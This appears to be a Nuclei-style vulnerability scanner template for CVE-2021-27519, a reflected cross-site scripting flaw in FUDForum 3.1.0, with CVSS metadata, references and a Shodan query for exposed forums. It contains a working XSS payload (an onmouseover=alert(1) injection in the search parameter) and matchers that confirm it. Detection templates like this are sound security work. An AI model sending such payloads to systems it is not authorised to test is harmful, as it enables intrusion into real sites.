2022-05-31 09:16:01 +00:00
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id: CVE-2021-27519
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info:
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name: FUDForum 3.1.0 - Reflected XSS
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2022-06-01 10:30:27 +00:00
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author: kh4sh3i
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2022-05-31 09:16:01 +00:00
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severity: medium
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2022-06-01 10:30:27 +00:00
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description: |
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A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript
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2022-06-01 10:46:23 +00:00
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reference:
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2022-06-01 10:30:27 +00:00
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- https://www.exploit-db.com/exploits/49942
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27519
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2022-06-01 14:05:28 +00:00
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- https://github.com/fudforum/FUDforum/issues/2
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- http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
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2022-06-01 10:30:27 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27519
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cwe-id: CWE-79
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metadata:
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2022-06-01 13:33:12 +00:00
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shodan-query: 'http.html:"Powered by: FUDforum"'
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2022-06-01 14:05:28 +00:00
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verified: "true"
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2022-06-01 13:33:12 +00:00
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tags: cve,cve2021,xss,fudforum
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2022-05-31 09:16:01 +00:00
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'
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2022-06-01 13:38:57 +00:00
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2022-05-31 09:16:01 +00:00
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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2022-06-01 13:33:12 +00:00
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- 'highlightSearchTerms("x" onmouseover=alert(1) x="");'
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2022-06-01 10:46:23 +00:00
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2022-05-31 09:16:01 +00:00
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- type: word
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part: header
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words:
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2022-06-01 13:33:12 +00:00
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- text/html
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2022-05-31 09:16:01 +00:00
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- type: status
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status:
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- 200
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